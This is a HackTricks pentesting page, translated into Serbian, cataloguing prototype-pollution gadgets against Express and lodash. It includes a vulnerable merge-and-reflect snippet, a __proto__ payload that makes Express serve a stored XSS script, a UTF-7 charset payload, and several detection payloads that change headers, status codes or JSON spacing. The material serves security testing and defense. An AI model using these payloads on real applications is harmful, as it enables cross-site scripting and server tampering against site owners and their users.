Express Prototype Pollution Gadgets
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Serve XSS responses
Za više detalja pogledajte originalno istraživanje
Promenite JSON content-type u HTML
U Express aplikaciji koja koristi JSON content type odgovor i reflektuje JSON:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
U ovim slučajevima XSS obično nije moguć sa JSON tipom sadržaja. Međutim, sa zagađenjem prototipa možemo zbuniti Express da vrati HTML odgovor. Ova ranjivost se oslanja na aplikaciju koja koristi res.send(obj) i koristi parser tela sa tipom sadržaja application/json.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
Zagađivanjem body i _body svojstava, moguće je izazvati da Express servira HTML tip sadržaja i reflektuje _body svojstvo, što rezultira pohranjenim XSS.
Render UTF7
Moguće je naterati express da renderuje UTF-7 sadržaj sa:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Tehnike bezbednog skeniranja
JSON razmaci
Sledeći PP će dodati dodatni razmak unutar atributa u JSON-u koji neće pokvariti funkcionalnost:
{ "__proto__": { "json spaces": " " } }
Tada će reflektovani JSON izgledati ovako:
{"foo": "bar"} -- Note the extra space
Izloženi Headeri
Sledeći PP gadget će naterati server da pošalje HTTP header: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
Zahteva da CORS modul bude instaliran
OPTIONS Metoda
Sa sledećim payload-om, moguće je sakriti metodu iz OPTIONS odgovora:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Status
Moguće je promeniti vratni status kod koristeći sledeći PP payload:
{ "__proto__": { "status": 510 } }
Greška
Kada dodelite prototipu primitiv kao što je string, to proizvodi no-op operaciju jer prototip mora biti objekat. Ako pokušate da dodelite objekat prototipa samom Object.prototype, to će izazvati izuzetak. Možemo koristiti ova dva ponašanja da otkrijemo da li je zagađenje prototipa bilo uspešno:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Reflektovana Vrednost
Kada aplikacija uključuje objekat u svoj odgovor, kreiranje atributa sa neobičnim imenom pored __proto__ može biti korisno. Konkretno, ako samo neobični atribut bude vraćen u odgovoru, to može ukazivati na ranjivost aplikacije:
{ "unusualName": "value", "__proto__": "test" }
Pored toga, u scenarijima gde se koristi biblioteka kao što je Lodash, postavljanje svojstva kako putem zagađenja prototipa (PP) tako i direktno unutar objekta nudi još jedan dijagnostički pristup. Ako je takvo svojstvo izostavljeno iz odgovora, to sugeriše da Lodash proverava postojanje svojstva u ciljanom objektu pre nego što ga spoji:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Razno
Dozvoli tačke
Postoji opcija u Express-u koja vam omogućava da kreirate objekte iz parametara upita.
Definitivno je možete koristiti u lancu grešaka za iskorišćavanje ranjivosti zagađenja prototipa.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz kreira objekat u Node.
Reference
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks